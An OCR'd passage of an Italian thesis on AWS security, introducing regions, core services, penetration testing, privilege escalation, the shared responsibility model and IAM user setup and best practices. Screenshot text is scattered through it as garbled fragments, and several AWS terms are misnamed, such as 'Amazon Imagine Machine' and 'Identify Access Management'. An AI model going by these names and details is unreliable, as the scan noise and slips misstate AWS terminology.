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1. Abstract

AWS (Amazon Web Service) [1] nasce nel 2006 ed ¢ una piattaforma cloud completa,
utilizzata in tutto il mondo. Differisce dalle altre tipologie di clouding, perche offre piu
di 200 servizi che riescono a soddisfare qualsiasi utente.

Mediante la console di AWS ogni cliente puo usufruire di varie tipologie di servizi, tra
cui la gestione dello storaging delle risorse e 'utilizzo dei servizi di machine learning.
E possibile affermare, quindi, che il cloud di AWS offre molteplici servizi in grado di
soddisfare gran parte, se non tutte, le necessita e i requisiti che ci si aspetta in una
piattaforma cloud, rimanendo inoltre costantemente aggiornata e di conseguenza sicu-
ra.

Nell’immagine 1.1 si puo visualizzare ’ampio insieme di ambiti, per i quali AWS mette

a disposizione dei servizi:
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Figura 1.1: Service AWS [1]

1.1 Motivazione

Gestione finanziaria del
cloud

BN

Strumenti per sviluppatori

&

Machine Learning

o

Tecnologie quantistiche

B
[=]

Storage

Ho scelto di sviluppare la mia tesi sulla sicurezza del clouding AWS per poter unire un
argomento per il quale nutro un grande interesse, quale il funzionamento del clouding,



Obiettivi

con un’ altra mia passione, la sicurezza informatica. Inoltre, ritengo che le conoscenze
acquisite durante I’elaborazione di questa tesi potranno essermi utili in futuro, anche
in un contesto professionale.

Lo sviluppo e I'elaborazione della tesi saranno anche da stimolo per un possibile futuro
ottenimento di certificazioni sul clouding AWS (come per esempio " AWS certified -
Architect Solutions”, tra le piu richieste in ambito lavorativo).

1.2 Obiettivi

L’obiettivo principale di questo elaborato sara quello di creare una raccolta di informa-
zioni in termini di sicurezza per la piattaforma AWS.

Verranno analizzati alcuni servizi difensivi offerti dal clouding AWS | sia come infra-
struttura interna che esterna. Sara quindi effettuata una spiegazione preliminare dei
ruoli e degli utenti specificando accessi limitati.

1.3 Struttura della Tesi

La tesi e stata sviluppata in quattro macro blocchi:

1. Una breve introduzione sul clouding AWS offrira anche a persone al di fuori del
settore una spiegazione dei concetti base, in modo da permettere la comprensione
dei successivi argomenti.

2. Verra trattata la sicurezza difensiva e saranno argomentati i principali servizi per
la gestione dei log.

3. Verra costruitruita un’ infrastruttura AWS che permettera di eseguire dei test
sulla piattaforma.

4. Verranno analizzati i tools PACU, scour e ScoutSuite con un rispettivo test
pratico.

5. Verranno discusse le conclusioni con un breve accenno a possibili pratiche miglio-
rative per la gestione di un clouding AWS.
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2. AWS - Introduzione

2.1 Global Infrastructure

AWS, Amazon Web Service, viene definita come una ”Global Infrastructure” [1] per
I’estensione in termini geografici del cloud di Amazon. Questa infrastuttura si divide
in regioni e zone di disponibilita ”Aviable Zone” (AZ), in tutto il mondo. AWS &
in costante crescita, per cui vengono frequentemente aggiunte nuove regioni e viene
aumentato il numero di AZ presenti in ognuna di esse.

o0
0 NOVITA @
&o ®c0 ° ™ Milano °% 0 o
Avviata nel 2020

O Regioni
O Disponibile a breve

Figura 2.1: Global Infrastucture [1]



Global Infrastructure

2.1.1 Regioni AWS

Si puo definire regione una singola locazione fisica dove i servizi Amazon AWS sono resi
disponibili. Ogni Regione AWS consiste in una serie di zone di disponibilita isolate e
fisicamente separate all’interno di un’area geografica. Ogni zona dispone di capacita di
alimentazione, raffreddamento e sicurezza fisica proprie. E possibile gestire la regione

di utilizzo tramite barra di navigazione, accedendo alla console AWS.

£ testdavo ¥ Irand: Supporto ¥

Stati Uniti orientali (Virginia settentrionale) u
Stati Uniti orientali (Ohio) u
Stati Uniti occidentali (California settentrionale)

Stati Uniti occidentali (Oregon) us

Africa (Citta del Capo) af-south-1

Asia Pacifico (Hong Kong) ap-east-1
Asia Pacifico (Mumbai) ap

Asia Pacifico (Osaka) ap-nor

Asia Pacifico (Seoul) ap-nort!

Asia Pacifico (Singapore) ap-

Asia Pacifico (Sydney) a

Nella figura 2.2 sono visibili le re-
gioni dove attualmente gli uten-
ti possono gestire la propria infra-
struttura. Ogni regione ha un mi-
nimo di 3 zone di disponibilta. At-
tualmente i servizi di AWS sono
presenti in 25 regioni, mentre al-
tre 6 regioni sono gia state annun-
ciate da Amazon (Australia, India,
Indonesia, Israele, Spagna, Svizze-
ra ed Emirati Arabi Uniti). Ogni
regione gestira un’infrastruttura a
sé stante; nel caso venisse dichia-

e — rata un’istanza EC2 (Elastic Com-
Canada {Centrale) ca-central-1 pute Cloud) nella regione Irlanda
non sara, ovviamente, presente a
T p— Londra. Le diverse regioni possono
Europa (Londra) eu differire, oltre che in numero di AZ,
Europa (Milanc] ¢ anche in termini di costi. Median-
te specifiche configurazioni ¢ possi-
bile replicare un’infrastruttura su
un’altra regione in modo da per-
mettere, nel caso di mancato fun-
zionamento totale di una specifica
regione, il servizio funzionante su
un’altra.

Europa (Francoforte) eu-central-1

Europa (Parigi|

Europa (Stoccolma) eu-north-1

Medio Oriente (Bahrein) me-south-1

Sud America (San Paolo)

Figura 2.2: Regioni console

2.1.2 Aviable Zone (AZ)

Le zone di disponibilita, ” Aviable Zone”, sono presenti in ciascuna regione e sono com-
poste da 1 a 6 datacenter completamente ridondanti, sia per quanto riguarda ’alimen-
tazione che per il networking. Ad oggi sono presenti 81 zone di disponibilita all’interno
delle 25 regioni.

Nel caso in cui un datacenter andasse in crash, essendo il servizio ridondante, il danno
non si ripercuoterebbe sugli altri.

Il principale vantaggio delle AZ & la loro alta affidabilita: & possibile replicare i dati
di una zona su un’altra in maniera totalmente sincrona, cosi da poter assicurare che
in caso di problemi o malfunzionamenti i dati rimarebbero disponibili nelle altre zone,
senza generare alcun tipo di disservizio.
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Servizi AWS

o0

0 NOWITA
Milano
Avviata nel 2020

o

Figura 2.3: Esempio di Regione con Zone di disponibilita [1]

Per poter visualizzare la mappa generale delle regioni e delle rispettive zone di di-
sponibilita in costante aggiornamento valersi dell’opportuno riferimento alla pagina
ufficiale:[2].

2.2 Servizi AWS

In questa sezione verranno brevemente introdotti i principali servizi offerti da Amazon
AWS, necessari per la comprensione dei capitoli successivi:

e Amazon EC2 (Elastic Compute Cloud) ¢ il principale servizio nell’ecosistema dei
servizi di calcolo, che ci permette di usare diverse tipologie di server virtuali, chia-
mate istanze. Ogni utente ha la possibilita di creare la propria istanza ad hoc in
base alle proprie esigenze. E possibile definire, oltre alle caratteristiche hardware
della macchina, anche la rete di appartenenza ed eventuali gruppi di sicurezza
con determinate limitazioni. L’uso delle istanze ¢ un punto fondamentale per il
clouding AWS, poiche mediante altri servizi (ad esempio Elastic Auto Scaling),
tramite delle regole da noi definite, € possibile creare altre istanze per gestire il
carico. In un caso del genere, risulterebbe utile anche I'utilizzo del servizio AWS
Load Balancer, risorsa con la quale si possono bilanciare le richieste ricevute dalle
istanze, suddividendole. La creazione di un’istanza richiede solo alcuni minuti.
Amazon Imagine Machine, AMI, puo essere immaginato come un Template ne-
cessario per lanciare un’istanza EC2 (Elastic Compute Cloud), che puo contenere
al suo interno un sistema operativo con funzionalita aggiuntive rispetto al sistema
operativo e le informazioni necessarie per il lancio dell’istanza EC2.

Fase 1: Scegliere un’Amazon Machine Image (AMI) Annulla ed esci
L'AMI & un modello che contiene la configurazione software (sistema operativo, server di applicazioni e applicazioni) richiesta per awiare la tua istanza. Puoi selezionare un’AMI fornita da AWS, la nostra community di utenti o AWS
Marketplace, oppure puoi scegliere una delle tue AMI

3, Cerca un’AMI inserendo un termine di ricerca, ad esempio "Windows" X
Ricerca per parametro Systems Manager
Quick Start da 1244 di44 AMI
Le mie AMI Amazon Linux 2 AMI (HVM), SSD Volume Type - ami-0d1bf5b68307103c2 (84-bit (x86)) / ami-0585cc9245d7565e4 (684-bit (Arm))

Amazon Linux  Amazon Linux 2 comes with five years support. It provides Linux kernel 4.14 tuned for optimal performance on Amazon EC2, systemd 219, GCC 7.3, Glibc 2.26, Binutils
2.29 1, and the latest software packages through extras. This AMI is the successor of the Amazon Linux AMI that is approaching end of life on December 31, 2020 and has
been removed from this wizard

AWS Marketplace @® 64-bit (x86)

O 64-bit (Arm)
AMI della community
Tipo dispositivo foot: ebs  Tipo di virtualizzazione: hvm  ENA abilitato: Si

Figura 2.4: Esempio di AMI

Nel marketplace e visibile una grande quantita di immagini: sara possibile anche
crearne di personalizzate, che prenderanno il nome di "My AMIs”.

E possibile scegliere di avviare istanze con AMI gia predefinite, come il Web Ser-
ver, in modo che l'istanza possa hostare sin da subito una pagina web.

17
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Quick Start (0)

Le mie AMI (0) LAMP packaged by Bitnami
(38)| 7.4.23-6-103 on Debian 10 Versioni precedenti | Per Bitnami

AWS Marketplace (508)

.
AMI della community

(1761)

Linu/Unix, Debian 10 | Amazon Machine Image (AMI) a 64-bit (x86) | Aggiomato: 16/09/21

ease. Its core components are Linux, PHP, Apache, and MariaDB.

Ulteriori informazioni

 Catannriae

18

Figura 2.5: Esempio di un AMI che puo funzionare come un webserver

” Amazon Lambda” € un servizio che puo essere richiamato da alcune specifiche
policy; esegue del codice creato e impostato dall’amministratore della rete, senza
dover configurare server o altri elementi infrastrutturali.

” Amazon S3” € un servizio di storage che salva un volume di dati illimitato in
specifici contenitori, detti bucket. Per salvare un oggetto bisognera prima avere a
disposizione un bucket, il quale offre una semplice gestione mediante interfaccia
grafica. Al suo interno ¢é possibile salvare una quantita di oggetti tendente ad in-
finito. Ogni bucket deve essere gestito in termini di permessi, definendo i possibili
accessi degli utenti, ma in generale viene consigliato di lasciare il setting a pri-
vato, altrimenti mediante URL sarebbe possibile visionare 1’elemento del bucket
direttamente da AWS.

VPC (”Virtual Private Cloud”) & un servizio di networking che permette di creare
e gestire la rete all’interno della nostra infrastruttura nel cloud. In altri termini,
¢ possibile isolare logicamente una porzione di cloud.

Viene data la possibilita di usare un determinato spazio di indirizzamento e di
dividerlo in sottoreti e gestirne le tabelle di routing, composte da regole che
permetteranno di accettare il traffico sulla sottorete. 1l traffico di rete non espli-
citamente specificato come consentito verra direttamente bloccato. Un possibile
utilizzo del servizio e l'inserimento in una struttura three tier, dove il Database
non puo avere accessi esterni; pertanto deve trovarsi in una sottorete privata in
modo tale da non permettere agli utenti non autorizzati di accedervi.

”Billing” € un servizio finanziario che permette di verificare le proprie spese e
ottimizzare le uscite. Consente di far interagire questo servizio con altri che
offrono la possibilita di impostare dei limiti di spesa o di notifica in caso di spese
troppo elevate.

Amazon SNS (”Simple Notification Service”) ¢ un servizio di messaggistica di
Amagzon, che permette ad un amministratore di rete di inviare notifiche mediante
email o SMS, rispetto a specifiche condizioni. Il servizio si integra alla perfezione
con altri, come CloudWatch, grazie al quale & possibile notificare 'utente analiz-
zando 'utilizzo della CPU, nel caso in cui quest’ultima raggiungesse una certa
soglia identificata.

Amazon RDS (” Amazon Relational Database Service”) ¢ un servizio che offre
la gestione di un database di tipo relazionale. Il principale vantaggio di questo
servizio ¢ il suo costante aggiornamento, per cui l’amministratore di database
non dovra occuparsi di fare alcuna patch di sicurezza ne aggiornamenti vari.
Questo servizio, inoltre, offre supporto per i maggiori database sul mercato. RDS
riduce senza dubbio il carico di lavoro ai sistemisti e ai DBA, tuttavia non viene
dato 'accesso al sistema operativo dove € ospitato il DB: pertanto non si hanno

da1a10di508 Prodotti > >

Seleziona

Up-to-date and secure image. LAMP is an open source software stack that provides a framework for creating PHP-based high-performance websites and applications with
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i permessi necessari per fare modifiche a livello di sistema operativo e non &
possibile ottenere privilegi di “superuser” nel DB.
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3. Introduzione Sicurezza

In questo capitolo verra spiegato cos’e il ” penetration test” e qual e I’attacco informatico
piu pericoloso per un sistema clouding come AWS, il ” privilage escalation”, dove risulta
fondamentale una suddivisione appropriata delle responsabilita degli utenti. Infine,
verranno esposte le principali tecniche per la sicurezza del clouding AWS.

3.1 Penetration Test

I1 ”penetration testing” [3] ¢ una metodologia di testing dove i valutatori, utilizzando
tutta la documentazione a loro disposizione (ad es. progettazione del sistema, codice
sorgente, manuali) e lavorando sotto vincoli specifici, tentano di aggirare le caratteri-
stiche di sicurezza di un sistema informativo. Questi test hanno come obiettivo quello
di individuare eventuali debolezze della piattaforma, fornendo il maggior numero di in-
formazioni possibili sulle vulnerabilita presenti. Il ”penetration testing” & considerato
una misura di sicurezza pro-attiva, proprio perché cerca di evidenziare mediante dei
report le possibili problematiche e falle presenti, in modo da prevenire degli attacchi
informatici. I principali obiettivi del ” pentesting” sono:

e Identificare un sistema hackerabile;
e Cercare di hackerare questo sistema;
e Ottenere una violazione dei dati specifici;
Il processo di pentesting generalemente & il seguente []:

1. Preparazione: questa fase dipende dall’azienda, che potrebbe o meno avere gia
un’idea chiara di cio che deve essere analizzato. Questa fase puo risultare sempli-
ficata nel caso in cui venga definito a priori un “vulnerability assessment”, ovvero
un documento che identifica le possibili vulnerabilita da testare.

2. Costruzione di un piano di attacco: qui vengono valutate le tipologie di attacco
che devono essere analizzate, per poter formare un team di tester adatto. Durante
questa fase e cruciale definire il tipo di accesso che il tester ha sull’infrastruttura
o sistema da analizzare.

3. Selezionare un team: il successo di un’analisi sulla sicurezza si basa sulle compe-
tenze di ogni membro del un gruppo. Essendo vaste le tipologie di vulnerabilita
identificabili, ogni professionista deve avere delle peculiarita (basti pensare alla
differenza tra eseguire un XSS scripting rispetto a un tentativo di bufferoverflow).
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4. Determinare la tipologia dei dati rubati: vengono definite le tipologie di dati

che potrebbero essere rubati o danneggiati durante I'attacco informatico e viene
valutato il livello di criticita.

. Eseguire il test: ¢ la fase principale dell’intero processo, dove viene eseguito il

test utilizzando le risorse a disposizione e dove vengono valutate delle eventuali
vulnerabilita.

. Integrare i risultati al report: il report viene completato con risultati ottenuti sia

dall’analisi iniziale sia dai test sulla sicurezza eseguiti.

L’analisi di pentesting puo essere eseguita seguendo diverse tecniche [5]:

e White Box: I'utente che svolgera I’attivita di pentesting avra tutte le informazioni

necessarie a disposizione (es. codice sorgente, schema infrastruttura , tipologia
dispositivi, ecc.)

Grey Box: 'utente che svolgera ’attivita di pentesting ha una conoscenza parziale
della situazione. Si focalizzera sulle aree di cui si hanno maggiori informazioni.

Black Box: letteralmente a scatola chiusa, consiste in un’analisi eseguita senza
avere alcun dato sull’infrastruttura da testare. Come un vero hacker, non si
conoscono i sistemi di difesa adottati o il codice sorgente a priori, e si procede
quindi alla cieca. Questa fase richiede molto piu tempo perché deve essere fatta
anche un’analisi del sistema.

Il risultato finale di questo procedimento e la generazione di un report che possa definire
al meglio lo stato di sicurezza di un’infrastruttura. E ovviamente consigliato eseguire
in maniera frequente esami di pentesting: basti pensare alla frequenza con la quale ven-
gono effettuati aggiornamenti rispetto, per esempio, a framework o plugin che possono
essere utilizzati da applicazioni.

La fase di pentesting puo essere rappresentata in diversi scenari [5]:
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e External Testing (Penetration Test esterni): sono test che solitamente adottano

un approccio di tipo Black Box. L’obiettivo e capire se un malintenzionato puo
effettivamente introdursi nel sistema e quanto a fondo puo arrivare.

Internal Testing (Penetration Test interni): sono test eseguiti da una persona
appartenente all’azienda e servono per capire 'impatto e i rischi di un eventuale
attacco interno. Viene ricreata un’intrusione condotta da un dipendente o da
qualcuno che e illecitamente in possesso di password e dati di accesso e si ana-
lizzano le conseguenze, individuando eventuali falle nelle politiche di sicurezza
aziendale riservate al personale.

Targeted Testing: sono test eseguiti da consulenti esterni, generalmente ethical
hacker, insieme al personale IT interno all’azienda. Hanno uno scopo principal-
mente formativo e servono per mostrare ai tecnici informatici qual e il modus
operandi di un ipotetico malintenzionato e qual e la prospettiva adottata durante
I’attacco.

Blind Testing: sono test che si affidano totalmente all’approccio di tipo Black Box
e vengono eseguiti avendo come unica informazione il nome dell’azienda. Essendo
molto realistici, richiedono tempistiche lunghe e sono pit costosi.
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e Double Blind Testing: a differenza del Blind Test, in questo caso il reparto IT
dell’azienda non ¢ a conoscenza della simulazione. Il tester effettuera quindi un
attacco assolutamente realistico per verificare non solo il livello di sicurezza del
sistema, ma anche la preparazione e la capacita di reazione del personale tecnico.

3.2 Privilege Escalation

Il privilege escalation ¢ lo sfruttamento di una vulnerabilita rispetto alla nostra applica-
zione, che permette di usare o accedere a funzionalita riservate ad utenti con permessi
maggiori dei nostri.

Si puo verificare in due forme:

e Verticale: quando un utente con permessi ”inferiori” riesce ad usare permessi di
utenti superiori, come per esempio quelli di un amministratore.

e Orizzontale: quando un utente normale accede a funzioni o contenuti riservati ad
un altro utente normale del servizio.

User

Figura 3.1: Privilege Escalation verticale [(]

Nell’immagine in figura 3.1 & rappresentata un’escalation di una macchina. Un possibile
scenario d’esempio ¢ quello in cui un utente con accesso ”standard” prova ad ottenere
I’accesso da admin.

Pacu, tool che verra analizzato piu in dettaglio nel capitolo 6, si basa principalmente
nella ricerca di malconfigurazioni, partendo da un utente loggato. Quindi I'analisi
offensiva verra fatta da un utente che possiede dei permessi minimi.

3.3 Sicurezza Clouding AWS

La sicurezza e la conformita del cloud sono una resposabilita condivisa tra AWS e il
cliente. AWS gestisce e controlla i componenti del sistema operativo host e il livello
di virtualizzazione e la sicurezza fisica della nostra infrastruttura, come ad esempio
la corretta temperatura delle macchine. Il cliente si assume la responsabilita e la
gestione del sistema operativo guest (fare aggiornamenti e patch di sicurezza) e della
configurazione del firewall del gruppo di sicurezza (security group) fornito da AWS [7].
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CUSTOMER DATA

CUSTOM ER PLATFORM, APPLICATIONS, IDENTITY & ACCESS MANAGEMENT

RESPONSIBILITY FOR
S e S (e OPERATING SYSTEM, NETWORK & FIREWALL CONFIGURATION

CLIENT-SIDE DATA NETWORKING TRAFFIC
ENCRYPTION & DATA INTEGRITY el L el PROTECTION (ENCRYPTION,

AUTHENTICATION R e AND/ SR LAS) INTEGRITY, IDENTITY)

SOFTWARE

AWS DATABASE

RESPONSIBILITY FOR HARDWARE/AWS GLOBAL INFRASTRUCTURE

SECURITY ‘OF" THE CLOUD

REGIONS AVAILABILITY ZONES EDGE LOCATIONS

Figura 3.2: Modello Responsabilita condivise [7]

e Responsabilita di AWS ”Sicurezza del cloud”: AWS si occupa di proteggere 'in-
frastruttura globale su cui vengono eseguiti tutti i servizi offerti dal cloud AWS.
L’infrastruttura ¢ formata dai componenti hardware e software e dalle reti e dalle
strutture che eseguono i servizi Cloud AWS.

e Responsabilita del cliente ”Sicurezza nel cloud”: i clienti sono responsabili per
tutte le operazioni di configurazione dei servizi da loro scelti. Usufruendo di uno
specifico servizio, saranno loro a impostare le visibilita degli accessi. Ad esempio,
Amazon Elastic Compute Cloud (Amazon EC2), richiede che il cliente esegua
configurazioni e gestioni della sicurezza, diversamente da servizi astratti come
Amagzon S3 e Amazon DynamoDB, dove AWS opera a livello dell’infrastruttura,
del sistema operativo e delle piattaforme. AWS spesso indica al cliente possibili
falle che potrebbero generarsi in termini di sicurezza: quando, ad esempio, un
utente tenta di impostare la visibilita di un bucket S3 a ”pubblico”, Amazon lo
sollecitera a non farlo prima di confermare 1’azione.

© Concedi l'accesso in lettura pubblica
Chiungue al mondo sara in grado di accedere agli oggetti specificati. Il proprietario dell'oggetto avra accesso in lettura e scrittura.
Ulteriori informazioni [4

La concessione dell'accesso in lettura pubblica non é consigliata
Chiunque al mondo sara in grado di accedere agli oggetti specificati. Ulteriori informazioni [4]

Comprendo il rischio di concedere l'accesso in lettura pubblica agli oggetti specificati.

Figura 3.3: Fase Caricamento S3 Bucket

Il cliente &, inoltre, il responsabile di eventuali chiavi di crittografia e di possi-
bili aggiornamenti. Il cliente & anche responsabile di applicazioni che mette a
disposizione; se il sito web hostato ¢ vulnerabile ad un SQL Injection, AWS non
¢ ritenuto responsabile di questa criticita.
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Nel dettaglio si riportano i controlli che devono essere effettuati dalle due parti:

e Controlli ereditati: Controlli che un cliente eredita totalmente da AWS.
Questi controlli sono quelli fisici e ambientali; infatti sard Amazon a gestirli
totalmente e I'utente finale 1i ereditera direttamente.

e Controlli condivisi: Controlli che si applicano, in contesti separati, sia per
AWS che per il cliente. In un controllo condiviso, AWS fornisce i requisiti per
Pinfrastruttura e il cliente deve fornire la propria implementazione dei controlli
nell’ambito del suo uso dei servizi AWS. Alcuni prodotti come esempio:
Gestione patch — AWS e responsabile delle patch e della risoluzione dei problemi
dell’infrastruttura, ma i clienti sono responsabili delle patch per i propri sistemi
operativi guest e le proprie applicazioni; I'aggiornamento deve partire dal clien-
te che potra trovare le informazioni necesserie, nel caso di patch di sicurezza, su
https://aws.amazon.com/it/security/security-bulletins/. Quan-
do viene riscontrata una vulnerabilita che puo intaccare i servizi offerti, vengono
subito forniti pratiche e consigli su come agire.

Gestione della configurazione — AWS mantiene la configurazione dei disposi-
tivi della propria infrastruttura, ma un cliente & responsabile delle configurazioni
di questi dispositivi (IAM, scelta macchina e spazio , ecc.).

e Consapevolezza e formazione — AWS si occupa della formazione dei dipenden-
ti AWS, mentre un cliente deve occuparsi della formazione dei propri dipendenti.
E possibile assegnare dei ruoli o crearli ad hoc per gestire gli utenti che devono
accedere al cloud AWS.
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4. AWS - Principali Servizi di
Sicurezza

Prima di analizzare la sicurezza del clouding AWS da un lato offensivo, verranno esplo-
rate le principali tecniche difensive che un admin puo sfruttare. Le eventuali vulnerabi-
lita riscontrabili in un’infrastruttura AWS sono generate da errori di malconfigurazione
dell’utente. Di conseguenza, i tool offensivi che verranno analizzati sono basati preva-
lentemente su un possibile attacco che sfrutta errori di malconfigurazione. In questo
capitolo vengono analizzate alcune best-practices per la creazione di un’infrastruttura
sicura.

4.1 TAM Identify Access Management

” AWS Identity and Access Management” consente di controllare in modo sicuro I'ac-
cesso individuale e di gruppo alle risorse AWS. Utilizzando TAM & possibile creare e
gestire utenti, gruppi e autorizzazioni per gli utenti AWS per i rispettivi servizi.
Questo servizio permette il pieno e granulare controllo su autorizzazioni e autentica-
zioni.

E possibile accedere al servizio IAM tramite:

o AWS Management Console: la console ¢ un’interfaccia basata sul browser per
gestire le risorse IAM e AWS.

e CLI (Console Line Interface): puo risultare piu veloce e semplice rispetto all’uso
della console.

e SDK AWS: gli SDK rappresentano un sistema molto comodo per creare un accesso
programmatico a IAM e AWS. Sono costituiti da librerie e codice di esempio per
vari linguaggi e piattaforme.

e API: possibilita di accedere a IAM e ad AWS usando API HTTPS IAM. L’uso
delle API HTTPS include le credenziali come firma.

Le principali caratteristiche del servizio IAM sono [3]:

e Accesso condiviso ad un account AWS: possibilita di creare piu utenti con creden-
ziali personali, senza la necessita di condividere password o accessi. Un ammini-
stratore puo creare 'utente impostando una password temporanea, che al primo
accesso all’account verra modificata dal proprietario.

e Autorizzazioni granulari: alla creazione di un utente si possono concedere diversi
tipi di autorizzazioni, in base a cosa 'utente deve fare. Esempio: assegnare solo
il permesso di gestire il bucket S3.
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A Aggiungi MFA per 'utente root
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Aggiungi MFA

Figura 4.1: Consigli Sicurezza abilitare MFA

Accesso sicuro alle risorse AWS per applicazioni che funzionano su Amazon EC2.
Possibilita di abilitare MFA.

Consentire ad utenti con password in altre piattaforme, ad esempio con autenti-
cazione da account gmail, di ottenere accesso all’account AWS.

Informazioni d’identita per la sicurezza: con il sostegno del servizio AWS Cloud-
Trail si riceveranno informazioni su quale utente IAM ha usato una determinata
risorsa.

Conformita PCI DSS: supporta I’elaborazione, storage di dati di carte di credito
ed ¢ conforme allo standard Payment Card Industry Data Security Standard.

Integrato con molti servizi AWS.
Servizio consistente.

Servizio gratuito, non ha costi aggiuntivi.

Best-practices per il servizio IAM [9]:

Non usare ’account root a meno che non sia necessario. Dopo aver creato un ac-
count AWS ¢ consigliato creare un nuovo utente con permessi da amministratore
da utilizzare al posto dell’account Root. Per la creazione della propria infrastrut-
tura e raccomandato usare un account amministratore, che avra gli stessi permessi
dell’account root, fuorché la visibilita del servizio Billing (servizio per gestire le
spese) ed altre funzionalita visibili al link https://docs.aws.amazon.com/
it_it/general/latest/gr/root-vs—iam.html .

Creare utenti TAM individuali che non vanno condivisi con nessuno. Ciascun
utente dovra avere credenziali singole. Nel caso in cui uno o piu utenti debbano
possedere uno stesso privilegio, dovranno essere istanziate le corrette policy ed
assegnati piu utenti a quell’insieme di regole. Avere account distinti servira anche
per localizzare un possibile errore di un utente, mediante gli appositi file di log.

Creare delle policy di gestione delle password efficaci.

Abilitare la Multi Factor Authentication sopratutto se si tratta di un account
amministratore o root.

Fornire ad ogni utente i permessi necessari per svolgere il proprio lavoro. Cercare
di evitare configurazioni frettolose, con cui vengono dati permessi amministrativi
a tutti per accelerare le procedure.

Abilitare il monitoraggio tramite il servizio CloudTrail, mediante il quale & pos-
sibile registrare e salvare ogni accesso effettuato da ciascun utente.

Modificare le credenziali di accesso periodicamente.

Rimuovere credenziali inutili, ad esempio utenti che non hanno piu accessi.


https://docs.aws.amazon.com/it_it/general/latest/gr/root-vs-iam.html
https://docs.aws.amazon.com/it_it/general/latest/gr/root-vs-iam.html
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4.1.1 Utenti

Il servizio IAM da la possibilita di creare all’interno del proprio account singoli utenti
IAM che corrispondono agli utenti dell’organizzazione. Gli utenti TAM non sono ac-
count separati, ma utenti all’interno dello stesso account. Un utente puo essere sia
un’entita fisica sia un’applicazione che richiede 'accesso ad un determinato servizio.
Al momento della creazione, I’'utente, non disporra di alcuna autorizzazione ed ¢ percio
consigliato di associargli solo i permessi strettamente necessari.

La prima distinzione da definire riguarda le tipologie di utente e il tipo di autentica-
zione che possono eseguire:

e Gestione utente standard: & possibile gestire ogni singolo aspetto dalla sicurezza
di un utente quali le chiavi di accesso, password, MFA.

e Gestione utente federato: & possibile integrare il servizio di autenticazione degli
utenti con quello gia presente e renderlo operativo a livello aziendale. I servizi
come AWS Directory Service for Active Directory permettono lo scambio di iden-
tita attraverso degli ”identity provider” esterni come appunto Microsoft Active
Directory oppure anche mediante Facebook o account Google.

Se gli utenti di una specifica organizzazione dispongono gia di una modalita per essere
autenticati, ad esempio tramite I'accesso alla rete aziendale, non & necessario creare
utenti IAM separate, ma sara sufficiente eseguire la federazione delle loro identita utente
in AWS. Per permettere I'autenticazione degli utenti con account aziendale & percio
possibile usare il servizio SAML, uno standard di federazione aperto, che consente a
un provider di identita (IdP) di autenticare gli utenti e passare le relative informazioni
sull’identita e sulla sicurezza a un provider di servizi [10].

Un utente appena creato non ha alcun permesso esplicito associato, percio € neces-
sario creare una policy IAM ed associarla a quest’ultima, per far si che possa svolgere
le proprie mansioni.

Inoltre, esistono varie tipologie di “autenticazione sicura” in base al servizio AWS che
si sta utilizzando:

e Mail e password: relativi all’account root.

e Username e password IAM: per accedere alla console AWS.

Chiavi di accesso: utilizzate tramite CLI, API o SDK.

o Key pair: utilizzate per accedere alle istanze EC2.

Autenticazione a piu fattori (MFA): fornisce un livello di sicurezza aggiuntivo ed
¢ consigliata abilitarla sopratutto sull’account root.

Amazon permette di usare anche delle credenziali temporanee.

Procedura per creare un nuovo utente da console:
1. Accedere Console TAM e scegliere 'opzione aggiungi utente.

2. Da questa schermata si avra la possibilita di aggiungere uno o pit utenti. Accesso
programmatico: quando 'utente ha necessita di effettuare chiamate API o utiliz-
zare ’AWS CLI o Tools for Windows PowerShell. In tal caso verranno creati un
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ID chiave di accesso e la chiave di accesso segreta.

Accesso alla console di gestione AWS, quando 'utente ha la necessita di autenti-
carsi dal browser. In tal caso sara possibile assegnare una password provvisoria
creata dall’amministratore o autogenerata che potra essere reimpostata al primo
accesso.

Aggiungi utente ®: - -« -

Imposta dettagli dell'utente

Puoi aggiungere pill utenti contemporaneamente con lo stesso tipo di accesse e auterizzazioni. Ulteriori informazioni

Nome utente* | |

© Aggiungi un altro utente

Seleziona il tipo di accesso AWS

Seleziona il modo in cui gli utenti potranno accedere ad AWS. Chiavi di accesso e password generate automaticamente vengono fornite nellulima fase
Ulterioni informazioni

Tipe di accesso™ Accesso programmatico
Abilita una 1D chiave di accesso e una chiave di accesso segreta per le API diAWS
l'interfaccia a riga di comando, SDK e altri strumenti di sviluppo.

Accesso alla console di gestione AWS
Abilita una password che consente agli utenti di effettuare I'accesso alla conscle di
gestione AWS.

Figura 4.2: Add User

3. Da questa interfaccia ¢ possibile impostare le autorizzazioni aggiungendo 1'u-
tente ad un gruppo, copiando le autorizzazioni di altri utenti gia registrati o
collegando direttamente delle policy gia istanziate da Amazon (es. Administra-
torUser , AmazonS3FullAccess, ecc. ), Nel caso un utente abbia solo il permesso
AmazonS3FullAccess non potra accedere ad altri servizi.

Aggiungi utente 1 o a4 s

~ Imposta autorizzazioni

Add user to group
T (»q0iungi utente a1
aruppo)

Copia le autorizzazioni Collega direttamente le
Ml dallutente esistente policy esistenti

@ Operazioni di base sui gruppi
Non hai ancora creato gruppi. L'utilizzo dei gruppi & una procedura consigliata per gestire le autorizzazioni degli utenti in base alle funzioni
lavorative, all'accesso al servizio AWS o alle autorizzazioni personalizzate. Inizia creando un gruppo. Ulteriori informazioni

Crea gruppo

~ Imposta limite di autorizzazioni

Imposta il limite di autorizzazioni per controllare il numero massimo di autorizzazioni che pud avere user. Questa & una funziene avanzata utilizzata per
delegare la gestione dell'autorizzazione ad altri. Ulteriori informazioni

@ Crea user senza un limite di autorizzazioni
Utilizza il limite delle autorizzazioni per controllare il numero massimo di autorizzazioni user

Figura 4.3: Add User Permissions
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4. Nella successiva interfaccia e possibile associare dei tag, che non hanno scopo
funzionale se non quello di risultare piu ordinati per un amministratore.

5. Si avra un riepilogo che permettera di vedere le impostazioni inserite per la
creazione del nostro account

6. Infine, verra visualizzata una tabella con tutti i dati di accesso dell’utente speci-
ficato.

@ Operazione riuscita
La creazione degli utenti elencati di seguito & stata completata. £ possibile visualizzare e scaricare le credenziali di sicurezza degli utenti
Puoi anche inviare e-mail agli utenti con le istruzioni per 'accesso alla console di gestione AWS. Questa € lultima volta che tali credenziali
saranne disponibili per il download. Tuttavia, € possibile creare nueve credenziali in qualsiasi momento.

Gli utenti con I'accesso alla Console di gestione AWS possono effettuare 'accesso &
https://925331133091.signin.aws.amazon.com/console

& scarica .csv

Utente ID chiave di accesso Chiave di accesso segreta  Password Istruzioni di
accesso all'e-mail

